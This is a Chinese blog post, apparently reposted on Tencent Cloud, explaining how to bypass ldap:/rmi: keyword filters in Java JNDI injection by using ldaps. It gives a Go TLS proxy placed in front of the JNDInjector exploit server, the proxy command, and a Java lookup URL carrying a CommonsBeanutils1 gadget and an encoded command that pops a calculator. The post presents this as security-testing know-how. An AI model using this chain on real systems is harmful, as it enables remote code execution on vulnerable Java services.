前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >如何巧妙构建“LDAPS”服务器利用JNDI注入

如何巧妙构建“LDAPS”服务器利用JNDI注入

作者头像
phith0n
发布于 2024-08-17 05:58:24
发布于 2024-08-17 05:58:24
28700
代码可运行
举报
运行总次数:0
代码可运行

前段时间看到群友问了这样一个问题:

ldap:rmi:关键字被拦截了,是否还可以进行JNDI注入。方法很简单,就是使用ldaps,但后来发现很多人并不知道怎么搭建LDAPS服务器,正好CoNote里有这个功能,写篇简单的文章讲讲。

0x01 LDAPs是什么

Java JNDI注入的过程中,用户传入一个URL,Java会根据URL的scheme来判断具体使用哪个包来处理,这些包的位置在com.sun.jndi.url.*中:

可见,这里除了我们常见的rmi、ldap等,还有一个ldaps,我们看下com.sun.jndi.url.ldaps.ldapsURLContextFactory的代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.sun.jndi.url.ldaps;

import com.sun.jndi.url.ldap.*;

/**
 * An LDAP URL context factory that creates secure LDAP contexts (using SSL).
 *
 * @author Vincent Ryan
 */

final public class ldapsURLContextFactory extends ldapURLContextFactory {
}

代码比我的钱包还干净,可见ldap和ldaps实际都由com.sun.jndi.url.ldap.ldapURLContextFactory来处理。

这时就不得不说到rfc4510(其中包含rfc4511到rfc4519等多个RFC)了,这一系列RFC中对于LDAP定义了两种安全传输的方式:

  • Opportunistic TLS
  • LDAPS (LDAP over SSL/TLS)

Opportunistic TLS,中文描述为“机会性TLS加密”,意思就是在普通明文通信过程中找“机会”通过某种方式将连接升级成TLS通信。这个概念不止在LDAP中存在,在很多其他协议里也能看到它的身影,最常见的就是SMTP中的STARTTLS命令。

SMTP通信时,客户端与服务端在标准端口(默认为25)上建立 TCP 连接,并且客户端会发送STARTTLS命令告诉服务端开始TLS握手,然后就是常规的TLS握手过程,握手完成后,二者就开始加密通信。

LDAP协议也支持Opportunistic TLS,客户端在原始的通信中也可以通过“StartTLS”开启TLS握手过程。

相比于Opportunistic TLS,LDAPS (LDAP over SSL/TLS)的通信过程就简单很多,LDAPS实际上就是将普通的LDAP协议通信过程包裹一层TLS,客户端在第一次连接服务端口时就需要开始TLS握手。

LDAP和LDAPS的关系可以类比为HTTP和HTTPS,在Java的JNDI中,ldaps通信过程就是使用“LDAPS (LDAP over SSL/TLS)”来实现的。

0x02 CoNote中使用ldaps探测JNDI注入漏洞

CoNote作为一个多功能信息安全测试套件,用于让我们在安全测试、代码审计、Bug Bounty的过程中更方便地确认漏洞的存在,并快速构建复现漏洞的POC。

CoNote中就包含ldap日志的功能,除了支持普通的ldap协议外,也同时支持ldaps。

简单演示一下在CoNote中,如何使用ldaps来探测目标是否存在JNDI注入漏洞。首先,我们在Dashboard中生成或绑定自定义域名,然后在LDAP日志页面,就可以看到探测漏洞所使用的ldaps URL:

复制任意一个URL,填入下面这个简单的Java类中跑一下即可成功收到LDAP日志:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import javax.naming.Context;
import javax.naming.InitialContext;

public class Sample {
    public static void main(String[] args) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup("ldaps://[domain]:636/[domain]/ldaps");
    }
}

这个小demo对于Java的版本是没有限制的。我昨天也在『代码审计』星球里说过了这个问题:

说到RMI日志和LDAP日志,当时做这两个功能的时候有CoNote的用户就问我,高版本Java是不是用不上了? 但实际上检测漏洞是不受Java版本影响的(至少到Java 17是这样的),如果CoNote能接收到RMI请求或者LDAP请求,说明存在JNDI注入的问题。至于后续是否可以执行命令,是否需要找利用链,这个就取决于Java版本了。

探测JNDI注入对Java版本没有要求,对于CoNote来说,只是探测漏洞是否存在,做到这一步也就够了。

0x03 “编写”LDAPs服务器

那么对于redteam来说,只检测JNDI注入存在当然是不够的,如何才能建立一个恶意ldaps服务器并利用漏洞呢?很多师傅也提出过这个问题:

其实部分人就钻牛角尖了,我们完全不需要自己编写ldaps服务端,网上有很多现成的JNDI注入利用工具,比如我很喜欢@rebeyond 的JNDInjector,选择好利用链与Payload,就可以生成一个ldap协议的恶意URL:

image.png
image.png

当然,这个工具并不支持ldaps,但我们完全可以编写一个TLS反向代理作为中间件,将ldaps请求代理转发给JNDInjector来实现我们的需求。

我曾经在《用原生socket发送HTTP数据包》这篇文章里介绍了如何使用Python发送原生socket数据包,文中提到了HTTPS,其发送原生HTTPS数据包的方法就是使用TLS将普通TCP包裹一层。

对于LDAPS场景来说完全一样,首先使用tls.LoadX509KeyPair加载TLS使用的证书和私钥,并使用tls.Listen创建一个TCP over TLS服务器:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cert, err := tls.LoadX509KeyPair(certPath, keyPath)
if err != nil {
    log.Fatalf(err.Error())
}
config := &tls.Config{Certificates: []tls.Certificate{cert}}

listener, err := tls.Listen("tcp", localAddr, config)
if err != nil {
    log.Fatalf(err.Error())
}
defer listener.Close()

然后使用一个for循环接收请求,每当有新的连接到来时,调用handleConnection()处理:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
for {
    conn, err := listener.Accept()
    if err != nil {
        log.Printf(err.Error())
        continue
    }

    log.Println("new connection from", conn.RemoteAddr())
    go handleConnection(conn, remoteAddr)
}

handleConnection中的内容就是将原始的输入流,使用io.Copy转发给上游TCP服务;将上游TCP返回流,转发给原始的连接:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
func handleConnection(src net.Conn, remoteAddr string) {
    defer src.Close()

    dest, err := net.Dial("tcp", remoteAddr)
    if err != nil {
        log.Printf(err.Error())
        return
    }
    defer dest.Close()

    go io.Copy(dest, src)
    io.Copy(src, dest)
}

这就实现了一个简单的TLS端口转发的过程,我将这段代码开源在Github上:https://github.com/phith0n/tls_proxy

0x04 使用tls_proxy+JNDInjector利用漏洞

最后,看看整个漏洞的利用过程是怎样的。

首先,在JNDInjector中选择一个利用链和要执行的命令并启动服务,我这里选择CommonsBeanutils1。如果你的Java版本在8u191以下,也可以不使用任何反序列化利用链。

我将JNDInjector启动的ldap服务监听在1389端口上,然后使用tls_proxy代理转发:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./tproxy -l 127.0.0.1:1636 -r 127.0.0.1:1389 -c cert.pem -k key.pem

注意,这里的cert.pem和key.pem需要是一个合法的TLS证书,我们直接使用certbot或者ssl for free这种在线服务上申请即可。

tls代理启动后,其监听在1636端口,然后我们改下上面那个Java demo(需要安装下CommonsBeanutils依赖),指向1636端口:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import javax.naming.Context;
import javax.naming.InitialContext;

public class Sample {
    public static void main(String[] args) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup("ldaps://[domain]:1636/EpvahjVjjH/CommonsBeanutils1/Exec/eyJjbWQiOiJjYWxjLmV4ZSJ9");
    }
}

执行成功弹出计算器:

在JNDInjector中,也收到了漏洞利用成功的日志:

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Java安全之JNDI注入
Naming就是名称服务,通过名称查找实际对象的服务。值得一提的名称服务为 LDAP,全称为 Lightweight Directory Access Protocol,即轻量级目录访问协议,其名称也是从右到左进行逐级定义,各级以逗号分隔,每级为一个 name/value 对,以等号分隔。比如一个 LDAP 名称如下:
ph0ebus
2023/08/13
5680
JNDI 注入漏洞的前世今生
前两天的 log4j 漏洞引起了安全圈的震动,虽然是二进制选手,但为了融入大家的过年氛围,还是决定打破舒适圈来研究一下 JNDI 注入漏洞。
evilpan
2023/02/12
1K0
JNDI 注入漏洞的前世今生
Java安全之JNDI注入
续上篇文内容,接着来学习JNDI注入相关知识。JNDI注入是Fastjson反序列化漏洞中的攻击手法之一。
全栈程序员站长
2021/04/07
1K0
Java安全之JNDI注入
JNDI注入原理浅析
JNDI (Java Naming and Directory Interface) 是一个java中的技术,用于提供一个访问各种资源的接口。比如通过JNDI可以在局域网上定位一台打印机,或者定位数据库服务,远程JAVA对象等。 JNDI底层支持RMI远程对象,RMI注册的服务可以直接被JNDI接口访问调用。
ConsT27
2022/02/11
3.4K0
JNDI注入原理浅析
老公,JNDI注入是什么呀?
我们在上一章《攻击rmi的方式》中提到了rmi的一大特性——动态类加载。而jndi注入就是利用的动态类加载完成攻击的。在谈jndi注入之前,我们先来看看关于jndi的基础知识
tnt阿信
2020/08/05
1.3K0
老公,JNDI注入是什么呀?
Java 中 RMI、JNDI、LADP、JRMP、JMX、JMS那些事儿(上)
之前看了SHIRO-721这个漏洞,然后这个漏洞和SHIRO-550有些关联,在SHIRO-550的利用方式中又看到了利用ysoserial中的JRMP exploit,然后又想起了RMI、JNDI、LDAP、JMX、JMS这些词。这些东西也看到了几次,也看过对应的文章,但把他们联想在一起时这些概念又好像交叉了一样容易混淆。网上的一些资料也比较零散与混乱,所以即使以前看过,没有放在一起看的话很容易混淆。下面是对RMI、JNDI、LDAP、JRMP、JMX、JMS一些资料的整理。
Seebug漏洞平台
2019/12/16
4.4K0
Java 中 RMI、JNDI、LADP、JRMP、JMX、JMS那些事儿(上)
JNDI与RMI、LDAP
JNDI 全名 Java Naming and Directory Interface,实际上简单来说就是一个接口,应用通过该接口来访问对应的目录服务。好吧,先了解一下目录服务是啥。
HhhM
2022/08/10
1.5K0
JNDI与RMI、LDAP
深入理解JAVA中的JNDI注入
简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
Ms08067安全实验室
2021/08/10
3K0
从jndi到log4j2
漏洞成因: log4j支持jndi,可以远程调用rmi和ldap,由于rmi和idap本身存在漏洞,因此log4j就会简介触发rmi和idap
红队蓝军
2022/05/17
2760
从jndi到log4j2
从jndi到log4j2
log4j支持jndi,可以远程调用rmi和ldap,由于rmi和idap本身存在漏洞,因此log4j就会简介触发rmi和idap
红队蓝军
2022/03/21
4320
从jndi到log4j2
从羊城杯一道题学习高版本JDK下JNDI的利用
主要关注到/ApiTest/post控制器,接收了传入的数据参数,并且使用JSON.parseObject函数解析数据,从而触发fastjson反序列化,
h0cksr
2023/05/17
1.2K0
CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞
WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
Timeline Sec
2024/07/16
1.8K0
CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞
关于 Java 中的 RMI-IIOP
在写完《Java中RMI、JNDI、LADP、JRMP、JMX、JMS那些事儿(上)》的时候,又看到一个包含RMI-IIOP的议题,在16年Blackhat JNDI注入议题中也提到了这个协议的利用,当时想着没太看到或听说有多少关于IIOP的漏洞(可能事实真的如此吧,在下面Weblogic RMI-IIOP部分或许能感受到),所以那篇文章写作过程中也没去看之前那个16年议题IIOP相关部分。网上没怎么看到有关于IIOP或RMI-IIOP的分析文章,这篇文章来感受下。
Seebug漏洞平台
2020/02/10
1.4K0
FastJson渗透测试
fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。除了这个fastjson以外,还有Google开发的Gson包,其他形式的如net.sf.json包,都可以实现json的转换。方法名称不同而已,最后的实现结果都是一样的。
黑白天安全
2021/08/10
2K0
【紧急】Log4j又发新版2.17.0,只有彻底搞懂RCE漏洞原因,以不变应万变,小白也能看懂
经过一周时间的Log4j2 RCE事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有完全解决问题,然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0横空出世。
Tom弹架构
2021/12/21
9700
【紧急】Log4j又发新版2.17.0,只有彻底搞懂RCE漏洞原因,以不变应万变,小白也能看懂
【紧急】Log4j又发新版2.17.0,只有彻底搞懂漏洞原因,才能以不变应万变
经过一周时间的Log4j2 RCE事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有完全解决问题,然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0横空出世。
Tom弹架构
2021/12/20
8280
Apache Log4j 2 远程代码执行漏洞详解
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0 正式版本。
SimpleAstronaut
2022/08/09
9190
Apache Log4j 2 远程代码执行漏洞详解
Log4j2史诗级漏洞导致JNDI注入问题探析
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中,比如在用户登录的时候打印一些异常信息,如xxx密码输入错误超过5次,账号被锁定;xxx账号已被锁定;xxx账号频繁异地登录。
翎野君
2023/05/12
5670
Log4j2史诗级漏洞导致JNDI注入问题探析
Java反序列化(十二) | Fastjson②1.2.24-68总结
介绍什么的就不说了,简介以及1.2.24的复现和详细分析可以看 Java反序列化(十) | Fastjson – CVE-2017-18349
h0cksr
2023/05/17
9210
Java反序列化(十二) | Fastjson②1.2.24-68总结
干货|最全fastjson漏洞复现与绕过
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
HACK学习
2022/04/08
19.2K0
干货|最全fastjson漏洞复现与绕过
相关推荐
Java安全之JNDI注入
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档